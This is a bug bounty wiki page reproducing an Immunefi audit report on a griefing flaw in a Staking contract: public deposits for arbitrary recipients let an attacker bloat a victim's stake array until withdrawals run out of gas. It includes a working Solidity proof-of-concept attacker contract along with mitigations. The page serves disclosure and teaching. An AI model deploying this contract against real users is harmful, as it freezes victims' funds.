Skip to content
DoS Audit finding Intermediate

Attacker can bloat a victim’s stakes (array) and cause withdrawals/emergency flows to run out of gas

The Staking contract appends a new stake entry to a per-user array on every deposit, and anyone can deposit on behalf of any address. An attacker can therefore create thousands of tiny stake entries for a victim, so that later withdrawal or emergency flows must loop over the huge array and run out of gas, temporarily blocking access to the victim's funds.

Bug82427 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

56826 sc medium attacker can bloat a victim s stakes array and cause withdrawals emergency flows to run out of gas

Submitted on Oct 21st 2025 at 02:23:04 UTC by @Bug82427 for Audit Comp | Belong

Description

Brief/Intro

The Staking contract pushes a new Stake struct to stakes[to] on every deposit. Withdrawals (normal and emergency) iterate the entire Stake[] for the user. Any party can deposit for an arbitrary to, so an attacker can repeatedly deposit small amounts for a victim, creating thousands of stake entries. Later, when the victim (or anyone acting on their behalf) tries to withdraw or be emergency-withdrawn, the contract must iterate and modify the huge array — the loop can exceed block gas limits and cause the withdrawal/emergency action to revert, effectively locking funds (temporary freeze / griefing). This requires no privileged access.

Vulnerability Details

Relevant code (simplified):

Solidity
function _deposit(...) internal override {
    super._deposit(...);
    // locks freshly minted shares
    stakes[to].push(Stake({shares: shares, timestamp: block.timestamp}));
}

Withdraw iteration:

Solidity
function _consumeUnlockedSharesOrRevert(address staker, uint256 need) internal {
    Stake[] storage userStakes = stakes[staker];
    for (uint256 i; i < userStakes.length && remaining > 0;) {
        // swap-and-pop removal or partial reduce
        // ...
    }
}

Both _consumeUnlockedSharesOrRevert (normal withdraw) and _removeAnySharesFor (emergency flow) may iterate the entire Stake[]. There is no cap on number of Stake entries and no mechanism to compact entries automatically.

Because anyone can call deposit(amount, to), an attacker can create many tiny entries for to = victim.

Why it is exploitable (realistic attacker path)

  • No privileged access required.
  • Attacker needs only LONG tokens and gas.
  • deposit action is public and accepts arbitrary to.
  • No code limits arrays length or enforces cost-proportional resistance.

Impact Details

Primary impact: Griefing — attacker can prevent a victim from withdrawing by inflating the victim’s stakes array; funds remain in contract but become effectively inaccessible for the victim until the array is compacted or owner intervenes.

Technical root: Unbounded per-user state growth + linear loops on withdraw operations → unbounded gas consumption risk.

Loss model: Not direct theft — attacker spends tokens to mount the attack; victims are denied access to funds. For a high-value target the cost can be modest (attacker only needs to create many small stake entries).

Severity: Medium (Denial-of-service/griefing; funds temporarily frozen; requires no privileged access).

Duration: Could be temporary (until owner fixes/compacts) or long (if owner is unresponsive). For high gas costs the victim may be blocked for days.

References

Proof of Concept

{% hint style="info" %} Notes before running:

This PoC assumes the deployed Staking contract implements ERC4626-style deposit(uint256 assets, address to) which pulls tokens from msg.sender. That is the case in the provided Staking contract.

The PoC contract must be funded with LONG tokens first (transfer LONG to the PoC contract), then call bloat(...). The PoC will approve the staking contract and loop calling deposit(...), creating many Stake entries for victim.

On a local fork use n = 1000 (or less) to reproduce gas exhaustion; on a public testnet reduce n to fit gas limits. {% endhint %}

<details> <summary>Proof-of-Concept contract (expand to view)</summary>

{% code title="StakeBloatPoC.sol" %}

Solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
}

interface IStaking {
    // solady ERC4626-compatible deposit signature
    function deposit(uint256 assets, address to) external returns (uint256 shares);
}

contract StakeBloatPoC {
    IStaking public immutable staking;
    IERC20  public immutable longToken;
    address public owner;

    constructor(address _staking, address _longToken) {
        staking = IStaking(_staking);
        longToken = IERC20(_longToken);
        owner = msg.sender;
    }

    /// Fund this contract with LONG (transfer via UI or script), then call bloat().
    /// - amountEach: assets per deposit (choose small value, e.g. 1e18 if LONG has 18 decimals)
    /// - n: number of deposits (careful: too large -> this tx itself can hit gas limit)
    function bloat(address victim, uint256 amountEach, uint256 n) external {
        require(msg.sender == owner, "only owner");
        // Approve staking to pull tokens from this contract
        longToken.approve(address(staking), type(uint256).max);

        for (uint256 i = 0; i < n; ++i) {
            // Each deposit will push a new Stake entry for `victim`.
            staking.deposit(amountEach, victim);
        }
    }

    /// Helper: return any leftover LONG to owner
    function drain(uint256 amount) external {
        require(msg.sender == owner, "only owner");
        longToken.transfer(owner, amount);
    }
}

{% endcode %}

</details>

Mitigation suggestions (not exhaustive)

  • Avoid unbounded per-user arrays for on-path operations. Consider alternative stake tracking:
    • Compact deposits for the same to and timestamp ranges (merge adjacent entries when possible).
    • Use a mapping of sloted balances with a fixed number of buckets per user (cost-amortized, bounded iterations).
    • Push-only pattern but require recipients to claim via off-chain signed vouchers or pull pattern that charges attacker gas for creating many entries.
    • Enforce a per-depositor rate limit or per-recipient cap on pending stake entries (careful with UX & fairness).
  • Make withdraw/emergency flows gas-bounded: process only up to N entries per call and allow iterative withdrawals across multiple transactions (user retries).
  • Consider on-deposit compaction: if last stake entry for to has the same lock/timestamp semantics, merge instead of pushing a new entry.
  • Add validators to deposit to deter gratuitous tiny deposits for arbitrary recipients (e.g., minimum deposit size, economic friction).

(These are high-level suggestions — exact approach must be chosen to fit the protocol design and UX constraints.)

The original report as published on Immunefi, by Bug82427. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the contract stores stakes in an unbounded per-user array and iterates it linearly on withdrawal, while deposit lets any caller add entries for any recipient.

Impact

The victim is denied access to funds already in the contract until the array is compacted or the owner intervenes; no direct theft occurs and the freeze could be temporary or long depending on owner response.

What the attacker needed

Attacker holds staking tokens; attacker pays gas; no privileged access needed

The fix

The report suggests bounding per-user state and gas: compact or merge entries, cap entries per recipient, add economic friction on tiny deposits, and make withdrawal flows process a limited number of entries per call.

How it was found

  1. Fund the attacker contract with the staking token.
  2. Approve the staking contract to pull those tokens.
  3. Loop calling deposit with a small amount and the victim as recipient, creating many stake entries.
  4. The victim's later withdrawal or emergency withdrawal iterates the bloated array and reverts on gas.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract keeps a list of every deposit a person makes, and when they withdraw it walks through the whole list. Because anyone is allowed to make a deposit on someone else's behalf, an attacker can add a huge number of tiny deposits to a victim's list. Walking such a long list costs more computing effort than a single transaction is allowed, so the victim's withdrawal fails and their money is stuck for now.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Bug82427

View all

5 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.